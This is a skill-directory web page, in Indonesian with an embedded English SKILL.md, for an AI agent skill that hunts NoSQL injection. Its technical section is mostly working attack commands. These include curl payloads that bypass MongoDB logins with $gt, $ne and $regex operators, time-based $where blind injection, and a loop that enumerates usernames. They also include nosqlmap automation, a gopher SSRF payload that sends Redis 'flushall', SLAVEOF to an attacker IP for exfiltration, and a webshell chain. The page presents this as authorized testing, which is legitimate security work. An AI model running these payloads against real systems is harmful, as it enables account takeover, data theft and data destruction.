Langsung ke konten
Skillpedia
Keamanan5.4k ยท #14924

hunt-nosqli

Fungsinya

Skill ini memeriksa aplikasi berbasis NoSQL untuk injeksi operator dan celah terkait yang bisa melewati login atau mengambil data. Ditujukan untuk pengujian resmi pada aplikasi yang memakai MongoDB, CouchDB, atau Redis.

Kapan dipakai

  • โœ“Saat login di aplikasi MongoDB menerima JSON dengan kolom username dan password.
  • โœ“Saat endpoint pencarian atau filter menerima operator kueri dari pengguna.
  • โœ“Saat pesan error menyebut database NoSQL.

Link skill

https://github.com/elementalsouls/Claude-BugHunter/blob/main/skills/hunt-nosqli/SKILL.md

Salin lalu tempelkan ke AI Anda (Claude, ChatGPT, atau Cursor) dan minta AI mengikuti instruksinya.

Cara pakai

Cara paling mudah: salin pesan ini dan tempelkan ke AI Anda. AI akan membaca skill dan mengikuti instruksinya.

Pesan siap tempel

Gunakan skill ini untuk membantu saya: https://github.com/elementalsouls/Claude-BugHunter/blob/main/skills/hunt-nosqli/SKILL.md Baca file SKILL.md di link tersebut dan ikuti instruksinya untuk tugas saya.
Mau AI Anda menemukan skill seperti ini sendiri?Pasang MCP Skillpedia gratis: cukup satu baris, dan AI mencari di antara 15.000+ skill sebelum tiap tugas.Pasang dalam 1 menit โ†’

Contoh permintaan ke AI

โ€œAPI login kami memakai MongoDB. Bisakah Anda memeriksa apakah input operator bisa melewati login dalam uji resmi kami?โ€

5 skill baru setiap minggu. 1 menit baca.

Cara kerjanya

Agent mengirim nilai operator JSON dalam permintaan login dan pencarian, lalu membandingkan responsnya. Agent melaporkan bypass atau paparan data yang terkonfirmasi.

Konten teknis (SKILL.md asli)

Teks asli dari pembuat, dalam bahasa Inggris, langsung dari GitHub.

HUNT-NOSQLI โ€” NoSQL Injection

Crown Jewel Targets

NoSQL injection is most valuable when it bypasses authentication (Critical) or leaks the entire user collection (High).

Highest-value chains:

  • MongoDB auth bypass โ€” {"username": {"$gt": ""}, "password": {"$gt": ""}} logs in as first user in collection (usually admin)
  • $where JS injection โ€” if $where is enabled: blind injection โ†’ data exfil
  • Redis command injection โ€” via SSRF or direct TCP, SLAVEOF attacker-ip โ†’ config write โ†’ webshell
  • Elasticsearch injection โ€” _search endpoint with Groovy script injection (pre-5.0) โ†’ RCE

Attack Surface Signals

URL & Param Patterns

/api/users/login         POST with JSON body
/api/search?q=
/api/find?filter=
/api/query?where=
Any endpoint accepting JSON body with username/password

Stack Signals

Signal Vector
MongoDB error messages in response Operator injection
mongoose / monk in JS bundles ODM patterns
X-Powered-By: Express Node.js + MongoDB common stack
CouchDB/_utils UI exposed Futon/Fauxton admin
Redis port 6379 open (via SSRF) CONFIG SET / SLAVEOF
Elasticsearch :9200 open Script injection

Step-by-Step Hunting Methodology

Phase 1 โ€” Auth Bypass (MongoDB)

# Operator injection in JSON body
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'

# Regex wildcard โ€” match any username
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}'

# ne (not equal) bypass
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$ne": "wrong"}}'

# in array bypass
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$in": ["admin","administrator","root"]}, "password": {"$ne": "x"}}'

Phase 2 โ€” URL Parameter Injection

# Array notation (Express/PHP-style)
curl "https://$TARGET/api/users?username[$gt]=&password[$gt]="
curl "https://$TARGET/api/search?q[$regex]=.*&q[$options]=i"

# POST form data
curl "https://$TARGET/api/login" \
  --data "username[$gt]=&password[$gt]="

Phase 3 โ€” $where Blind Injection (time-based)

# Test if $where is enabled (time-based detection, 5s delay)
curl -s -X POST https://$TARGET/api/search \
  -H "Content-Type: application/json" \
  -d '{"q": {"$where": "function(){var d=new Date();while(new Date()-d<5000){}; return true;}"}}'
# If response takes 5+ seconds โ†’ $where injection confirmed

# Blind data exfil (username starts with 'a'?)
curl -s -X POST https://$TARGET/api/search \
  -H "Content-Type: application/json" \
  -d '{"q": {"$where": "function(){if(this.username.match(/^a/)){sleep(3000);} return true;}"}}'

Phase 3b โ€” Syntax injection into a concatenated $where/query (string context)

When the app concatenates input into a JS $where STRING ("this.name=='"+input+"'") instead of accepting an operator object, break the string rather than passing $gt/$ne. Fuzz first, then break:

fuzz:  ' " ` { ; $         # any 500/behaviour change = syntax reaches the query
' || '1'=='1               # always-true (string-context breakout)
' && this.password.match(/^a/) || 'x'=='y   # boolean char-exfil oracle

(PortSwigger: Injecting syntax into NoSQL queries.)

Phase 4 โ€” Data Dump via Regex

# Enumerate usernames character by character
for c in a b c d e f g h i j k l m n o p q r s t u v w x y z; do
  RESP=$(curl -s -X POST https://$TARGET/api/users \
    -H "Content-Type: application/json" \
    -d "{\"username\": {\"\$regex\": \"^$c\"}}")
  echo "$c: $(echo $RESP | wc -c)"
done

Phase 5 โ€” Automation

# nosqlmap
pip3 install nosqlmap
nosqlmap -u "https://$TARGET/api/login" --attack 1

# nosqlmap data extraction
nosqlmap -u "https://$TARGET/api/login" --attack 2

Phase 6 โ€” Redis via SSRF

# If SSRF found, probe internal Redis via gopher://
curl "https://$TARGET/fetch?url=gopher://127.0.0.1:6379/_*1%0d%0a%248%0d%0aflushall%0d%0a"

# CONFIG SET webshell (if Redis has write access to web root)
# Use SLAVEOF for OOB data exfil

Bypass Table

Defense Bypass
JSON.parse rejects objects Use array: password[$ne]=x (URL params)
Sanitizes $ Unicode: $gt
Pertanyaan umum

Apa itu injeksi operator?

Itu terjadi ketika pengguna mengirim operator kueri seperti lebih besar dari, bukan nilai biasa, sehingga cara database mencocokkan data berubah.

Database apa saja yang dicakup?

Skill ini mencakup MongoDB, CouchDB, Redis, dan Elasticsearch.

Mengapa bypass login serius?

Itu bisa membuat seseorang masuk sebagai admin tanpa kata sandi yang benar, yang oleh skill ini dinilai kritis.

Detail

Deskripsi asli dari pembuat

Hunt NoSQL Injection โ€” MongoDB operator injection ($where, $regex, $gt, $ne), CouchDB, Redis command injection, auth bypass via NoSQLi, data dump. Use when target uses MongoDB/Mongoose, CouchDB, Redis, or shows NoSQL error messages.

repo: elementalsouls/Claude-BugHunter

Popularitas

Bintang GitHub
5.4k
Peringkat
#14924
Lisensi
MIT
Diperbarui
2/11/2026

Apakah skill ini berguna?

0

Masuk untuk memberi suara.

Komentar

  • โ€ฆ

Skill lain dari repositori ini

Skill serupa